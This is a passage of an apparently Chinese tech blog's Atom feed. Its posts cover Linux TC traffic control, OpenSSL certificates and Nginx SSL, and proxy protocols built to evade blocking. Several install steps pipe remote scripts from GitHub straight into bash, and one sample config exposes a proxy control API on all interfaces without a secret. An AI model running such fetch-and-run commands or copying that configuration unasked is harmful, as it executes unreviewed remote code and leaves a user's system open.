&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;linux-tc-liu-liang-kong-zhi&quot;&gt;Linux TC 流量控制&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;he-xin-gai-nian&quot;&gt;核心概念&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;概念&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;qdisc（排队规则）&lt;&#x2F;td&gt;&lt;td&gt;内核发送数据包的排队策略&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;class（类）&lt;&#x2F;td&gt;&lt;td&gt;qdisc 内部分类，可嵌套子类&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;filter（过滤器）&lt;&#x2F;td&gt;&lt;td&gt;将数据包分类到指定 class&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;wu-lei-bie-qdisc&quot;&gt;无类别 qdisc&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;pfifo&#x2F;bfifo&lt;&#x2F;strong&gt;：先进先出（按包数&#x2F;按字节）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;pfifo_fast&lt;&#x2F;strong&gt;：基于 TOS 的三波段优先级队列&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;sfq&lt;&#x2F;strong&gt;：随机公平队列，按会话轮询&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;tbf&lt;&#x2F;strong&gt;：令牌桶过滤器，限速&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;red&lt;&#x2F;strong&gt;：随机早期探测，适合高带宽&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;htb-fen-ceng-ling-pai-tong&quot;&gt;HTB（分层令牌桶）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 创建根 qdisc
tc qdisc add dev eth0 root handle 1: htb default 2

# 创建分类，保证 98M，最大 100M
tc class add dev eth0 parent 1:1 classid 1:2 htb rate 98mbit ceil 100mbit prio 2

# 添加 SFQ 叶子 qdisc
tc qdisc add dev eth0 parent 1:2 handle 2: sfq perturb 10

# 过滤特定 IP 到指定 class
tc filter add dev eth0 protocol ip parent 1:0 u32 match ip src 192.168.0.2 flowid 1:2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chang-yong-ming-ling&quot;&gt;常用命令&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tc qdisc del dev eth0 root                    # 清除所有规则
tc -s -d qdisc show dev eth0                  # 查看 qdisc 统计
tc -s -d class show dev eth0                  # 查看 class 统计
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wang-qia-zi-jie-kou&quot;&gt;网卡子接口&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip addr add 2.2.2.2&amp;#x2F;24 dev eth0 label eth0:0  # 添加 IP 别名
ip addr del 2.2.2.2&amp;#x2F;24 dev eth0 label eth0:0  # 删除
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;永久生效需在 &lt;code&gt;&#x2F;etc&#x2F;sysconfig&#x2F;network-scripts&#x2F;&lt;&#x2F;code&gt; 下创建配置文件。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lian-lu-zu-bo-di-zhi-224-0-0-252&quot;&gt;链路组播地址 224.0.0.252&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;LLMNR（Link-Local Multicast Name Resolution）&lt;&#x2F;strong&gt;：Windows 在 DNS 解析失败后，向 &lt;code&gt;224.0.0.252&lt;&#x2F;code&gt; 发送多播查询，局域网内主机若匹配则单播回复自己的 IP。常用于无 DNS 服务器的小型局域网。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;tcpdump -i eth0 &amp;#x27;udp port 5355 or host 224.0.0.252&amp;#x27; -nn
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OpenSSL 与 Nginx SSL</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/openssl-nginx-ssl/"/>
        <id>https://vercel.juzhong.asia/2025/07/openssl-nginx-ssl/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/openssl-nginx-ssl/">&lt;h1 id=&quot;openssl-yu-nginx-ssl&quot;&gt;OpenSSL 与 Nginx SSL&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;openssl-zheng-shu-cao-zuo&quot;&gt;OpenSSL 证书操作&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;kuai-su-sheng-cheng-zi-qian-ming-zheng-shu&quot;&gt;快速生成自签名证书&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl req -x509 -newkey rsa:2048 -nodes -keyout my.key -out my.crt -days 3650 \
  -subj &amp;quot;&amp;#x2F;C=CN&amp;#x2F;ST=shanghai&amp;#x2F;L=shanghai&amp;#x2F;O=example&amp;#x2F;OU=it&amp;#x2F;CN=domain1&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;-subj&lt;&#x2F;code&gt; 字段含义：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;C=&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;国家（Country）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;ST=&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;省份（State）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;L=&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;城市（Location）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;O=&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;组织（Organization）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;OU=&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;部门（Organization Unit）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;CN=&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;域名或 IP（Common Name）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;cha-kan-zheng-shu&quot;&gt;查看证书&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 -text -noout -in domain.crt
openssl verify -verbose -CAfile ca.crt domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yan-zheng-zheng-shu-yu-si-yao-shi-fou-pi-pei&quot;&gt;验证证书与私钥是否匹配&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl rsa  -noout -modulus -in domain.key | openssl md5
openssl x509 -noout -modulus -in domain.crt | openssl md5
openssl req  -noout -modulus -in domain.csr | openssl md5
# 三个 MD5 值一致即匹配
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;si-yao-jia-jie-mi&quot;&gt;私钥加&#x2F;解密&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 加密（DES3 密码保护）
openssl rsa -des3 -in unencrypted.key -out encrypted.key

# 解密（取消密码保护）
openssl rsa -in encrypted.key -out decrypted.key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pem-der-ge-shi-hu-zhuan&quot;&gt;PEM &#x2F; DER 格式互转&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# PEM → DER（二进制）
openssl x509 -in domain.crt -outform der -out domain.der

# DER → PEM
openssl x509 -inform der -in domain.der -out domain.crt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ce-shi-ssl-fu-wu&quot;&gt;测试 SSL 服务&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 启动测试 SSL 服务端
openssl s_server --cert my.crt --key my.key

# 客户端连接测试
openssl s_client localhost:4433 &amp;lt; &amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ca-zheng-shu-zhi-zuo-guo-cheng&quot;&gt;CA 证书制作过程&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir demoCA &amp;amp;&amp;amp; cd demoCA

# 1. 生成 CA 自签名证书
openssl genrsa -out .&amp;#x2F;private&amp;#x2F;ca.key 2048
openssl req -new -x509 -days 3650 -key .&amp;#x2F;private&amp;#x2F;ca.key -out .&amp;#x2F;private&amp;#x2F;ca.crt -config openssl.cnf

# 2. 生成服务端私钥和 CSR
openssl genrsa -out .&amp;#x2F;private&amp;#x2F;server.key 2048
openssl req -new -key .&amp;#x2F;private&amp;#x2F;server.key -out .&amp;#x2F;newcerts&amp;#x2F;server.csr -config openssl.cnf

# 3. CA 签发服务端证书
openssl ca -in .&amp;#x2F;newcerts&amp;#x2F;server.csr -cert .&amp;#x2F;private&amp;#x2F;ca.crt -keyfile .&amp;#x2F;private&amp;#x2F;ca.key \
  -config openssl.cnf -policy policy_anything -out .&amp;#x2F;certs&amp;#x2F;server.crt

# 4. 查看签发的证书
openssl x509 -in .&amp;#x2F;certs&amp;#x2F;server.crt -noout -text
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chang-jian-cuo-wu&quot;&gt;常见错误&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unable to access .&#x2F;demoCA&#x2F;newcerts&lt;&#x2F;code&gt;：修改 &lt;code&gt;openssl.cnf&lt;&#x2F;code&gt; 中 &lt;code&gt;dir = .&#x2F;demoCA&lt;&#x2F;code&gt; 为 &lt;code&gt;dir = .&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;TXT_DB error number 2&lt;&#x2F;code&gt;：修改 &lt;code&gt;index.txt.attr&lt;&#x2F;code&gt; 中 &lt;code&gt;unique_subject = yes&lt;&#x2F;code&gt; 为 &lt;code&gt;no&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;nginx-ssl-pei-zhi&quot;&gt;Nginx SSL 配置&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;server {
    listen 443 ssl;
    server_name yourdomain.com;

    ssl_certificate     &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.crt;
    ssl_certificate_key &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.key;

    location &amp;#x2F; {
        root   &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;nginx&amp;#x2F;html;
        index  index.html index.htm;
        proxy_pass http:&amp;#x2F;&amp;#x2F;192.168.2.23:9090;  # 反向代理后端服务
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;docker-nginx-ssl&quot;&gt;Docker Nginx + SSL&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fang-an-yi-gou-jian-zi-ding-yi-jing-xiang&quot;&gt;方案一：构建自定义镜像&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;Dockerfile&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;dockerfile&quot; class=&quot;language-dockerfile &quot;&gt;&lt;code class=&quot;language-dockerfile&quot; data-lang=&quot;dockerfile&quot;&gt;FROM nginx
COPY nginx.conf &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;conf.d&amp;#x2F;default.conf
COPY ssl &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;ssl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker build -t mynginx .
docker run -d -p 443:443 mynginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;fang-an-er-gua-zai-mu-lu&quot;&gt;方案二：挂载目录&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker run -d --name nginx nginx
docker cp nginx:&amp;#x2F;etc&amp;#x2F;nginx &amp;#x2F;opt&amp;#x2F;nginx
docker rm -f nginx

# 放入证书
mkdir &amp;#x2F;opt&amp;#x2F;nginx&amp;#x2F;ssl
openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
  -keyout &amp;#x2F;opt&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.key -out &amp;#x2F;opt&amp;#x2F;nginx&amp;#x2F;ssl&amp;#x2F;nginx.crt

# 启动
docker run -d -p 80:80 -p 443:443 --name nginx \
  -v &amp;#x2F;opt&amp;#x2F;nginx:&amp;#x2F;etc&amp;#x2F;nginx nginx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nginx-fang-wen-ren-zheng&quot;&gt;Nginx 访问认证&lt;&#x2F;h2&gt;
&lt;p&gt;使用 htpasswd 创建用户名密码文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install apache2-utils    # 提供 htpasswd
# 或
yum -y install httpd-tools

htpasswd -c &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;.passwd username    # 创建文件并添加用户
htpasswd -b &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;.passwd username2 password  # 追加用户
htpasswd -D &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;.passwd username    # 删除用户
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Nginx 配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;location &amp;#x2F; {
    auth_basic &amp;quot;Please input password&amp;quot;;
    auth_basic_user_file &amp;#x2F;etc&amp;#x2F;nginx&amp;#x2F;.passwd;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;htpasswd-jia-mi-suan-fa-xuan-xiang&quot;&gt;htpasswd 加密算法选项&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;选项&lt;&#x2F;th&gt;&lt;th&gt;算法&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-m&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;MD5（默认）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-d&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;CRYPT&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-s&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;SHA&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-p&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;明文（不加密）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-B&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;bcrypt&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>代理协议与网络穿透</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/proxy-network/"/>
        <id>https://vercel.juzhong.asia/2025/07/proxy-network/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/proxy-network/">&lt;h1 id=&quot;dai-li-xie-yi-yu-wang-luo-chuan-tou&quot;&gt;代理协议与网络穿透&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;dai-li-xie-yi-dui-bi&quot;&gt;代理协议对比&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;ji-chu-dai-li-xie-yi&quot;&gt;基础代理协议&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;协议&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;th&gt;现状&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Shadowsocks&lt;&#x2F;td&gt;&lt;td&gt;经典加密代理&lt;&#x2F;td&gt;&lt;td&gt;极易被识别封禁&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VMess + WebSocket&lt;&#x2F;td&gt;&lt;td&gt;伪装 HTTP 流量&lt;&#x2F;td&gt;&lt;td&gt;端口被封频繁&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VLESS + Vision&lt;&#x2F;td&gt;&lt;td&gt;消除 TLS in TLS 特征&lt;&#x2F;td&gt;&lt;td&gt;须配合有效证书域名&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;VLESS + Vision + REALITY&lt;&#x2F;td&gt;&lt;td&gt;偷取大厂 TLS 证书&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;当前最稳定&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;tls-wei-zhuang-xie-yi-yan-jin&quot;&gt;TLS 伪装协议演进&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;shadow-tls&lt;&#x2F;strong&gt;：偷白名单域名证书，仅支持 TLS 1.3，不处理 TLS in TLS 特征&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;restls&lt;&#x2F;strong&gt;：支持 TLS 1.2&#x2F;1.3，处理 TLS in TLS 特征&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;REALITY&lt;&#x2F;strong&gt;：使用 ECDHE 算法，即使客户端配置泄露也不影响数据安全。ShadowTLS 使用对称 PSK，配置泄露可能导致流量解密&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;anytls&lt;&#x2F;strong&gt;：消除 TLS in TLS 特征，支持自定义填充包数量和长度&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xtls-he-xin-ji-shu&quot;&gt;XTLS 核心技术&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;XTLS splice&lt;&#x2F;strong&gt;：将内层 TLS 数据直接嵌入外层 TLS 流，减少重复加解密，降低 CPU 开销&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;VISION&lt;&#x2F;strong&gt;：模拟时延与消息交换顺序，抹平 多层TLS 握手的不自然时序特征&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;REALITY&lt;&#x2F;strong&gt;：在 TLS 握手阶段返回真网站的证书，使连接与普通 HTTPS 访问外观一致&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;XHTTP&lt;&#x2F;strong&gt;：在应用层进一步伪装，上行拆分为多个 POST 请求，下行伪装为流式下载或 SSE，消除&quot;稳定长时间加密流&quot;的特征&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xie-yi-an-quan-ping-gu&quot;&gt;协议安全评估&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;SS 节点搭建后次日即可能被封 IP&lt;&#x2F;li&gt;
&lt;li&gt;VMess+WS 易被封端口（非封 IP）&lt;&#x2F;li&gt;
&lt;li&gt;VLESS+Vision 目前稳定，需关注域名是否被阻断&lt;&#x2F;li&gt;
&lt;li&gt;VLESS+Vision+REALITY 堪称最稳方案&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cloudflare-dai-li&quot;&gt;Cloudflare 代理&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;zhi-chi-de-duan-kou&quot;&gt;支持的端口&lt;&#x2F;h3&gt;
&lt;p&gt;HTTP 端口：80, 8080, 8880, 2052, 2082, 2086, 2095&lt;&#x2F;p&gt;
&lt;p&gt;HTTPS 端口：443, 2053, 2083, 2087, 2096, 8443&lt;&#x2F;p&gt;
&lt;p&gt;仅 80 和 443 支持缓存、Cloudflare Apps、中国网络等全部功能。通过 WAF 规则可阻止非 80&#x2F;443 端口的流量。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cloudflare-ip-duan&quot;&gt;Cloudflare IP 段&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;173.245.48.0&amp;#x2F;20, 103.21.244.0&amp;#x2F;22, 103.22.200.0&amp;#x2F;22, 103.31.4.0&amp;#x2F;22
141.101.64.0&amp;#x2F;18, 108.162.192.0&amp;#x2F;18, 190.93.240.0&amp;#x2F;20, 188.114.96.0&amp;#x2F;20
197.234.240.0&amp;#x2F;22, 198.41.128.0&amp;#x2F;17, 162.158.0.0&amp;#x2F;15, 104.16.0.0&amp;#x2F;13
104.24.0.0&amp;#x2F;14, 172.64.0.0&amp;#x2F;13, 131.0.72.0&amp;#x2F;22
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cf-worker-vless-proxyip-yuan-li&quot;&gt;CF Worker VLESS proxyIP 原理&lt;&#x2F;h3&gt;
&lt;p&gt;CF Worker 不能直接访问 Cloudflare 自家的 IP 地址（&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.cloudflare.com&#x2F;workers&#x2F;runtime-apis&#x2F;tcp-sockets&#x2F;#considerations&quot;&gt;官方确认&lt;&#x2F;a&gt;）。当远程 TCP 无数据返回时触发 &lt;code&gt;retry()&lt;&#x2F;code&gt;，通过 proxyIP（&quot;神奇的 IP&quot;）中转数据包到 CF 目的 IP。&lt;&#x2F;p&gt;
&lt;p&gt;这不是每次转发都用，只作 failsafe。非 Cloudflare 部署的网站（如 AWS Cloudfront、Google）可直接访问，不经过 proxyIP。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;proxyIP 的隐患&lt;&#x2F;strong&gt;：安全性（数据转给第三方）、速度受限于单个 IP、可用性不确定。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fan-dai-cf-ip&quot;&gt;反代 CF IP&lt;&#x2F;h3&gt;
&lt;p&gt;链路：用户 → 自己的 VPS → Cloudflare CDN → 源站&lt;&#x2F;p&gt;
&lt;p&gt;通过 iptables 将 VPS 端口转发到 Cloudflare 对应端口，实现加速的同时享受 CF 的防护功能。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 使用 arloor 的 iptables 转发脚本
# 原理：将 VPS 的 80 端口流量转发到 Cloudflare CDN IP:80
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;sing-box-xray-v2ray-bu-shu&quot;&gt;sing-box &#x2F; Xray &#x2F; v2ray 部署&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fu-wu-duan-an-zhuang&quot;&gt;服务端安装&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# sing-box
bash &amp;lt;(wget -qO- https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;233boy&amp;#x2F;sing-box&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;install.sh)

# Xray
bash &amp;lt;(wget -qO- https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;233boy&amp;#x2F;xray&amp;#x2F;raw&amp;#x2F;main&amp;#x2F;install.sh)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;mian-ban-guan-li&quot;&gt;面板管理&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 3x-ui（Xray 管理面板）
bash &amp;lt;(curl -Ls https:&amp;#x2F;&amp;#x2F;raw.githubusercontent.com&amp;#x2F;MHSanaei&amp;#x2F;3x-ui&amp;#x2F;refs&amp;#x2F;tags&amp;#x2F;v2.6.0&amp;#x2F;install.sh)
x-ui  # TUI 配置界面
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ding-yue-zhuan-huan&quot;&gt;订阅转换&lt;&#x2F;h3&gt;
&lt;p&gt;sing-box 不直接兼容大多数机场的订阅格式，需 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Toperlock&#x2F;sing-box-subscribe&quot;&gt;sing-box-subscribe&lt;&#x2F;a&gt; 转换：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;URL&amp;gt;&amp;#x2F;url=&amp;lt;subscription_url&amp;gt;&amp;#x2F;&amp;amp;file=&amp;lt;sing-box_template_url&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;clash-api-jian-rong&quot;&gt;Clash API 兼容&lt;&#x2F;h3&gt;
&lt;p&gt;sing-box 兼容 Clash API，可使用 metacubexd dashboard：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;experimental&amp;quot;: {
    &amp;quot;clash_api&amp;quot;: {
      &amp;quot;external_controller&amp;quot;: &amp;quot;0.0.0.0:9090&amp;quot;,
      &amp;quot;external_ui&amp;quot;: &amp;quot;metacubexd&amp;quot;,
      &amp;quot;default_mode&amp;quot;: &amp;quot;rule&amp;quot;
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ke-hu-duan-ruan-jian&quot;&gt;客户端软件&lt;&#x2F;h3&gt;
&lt;ul&gt;
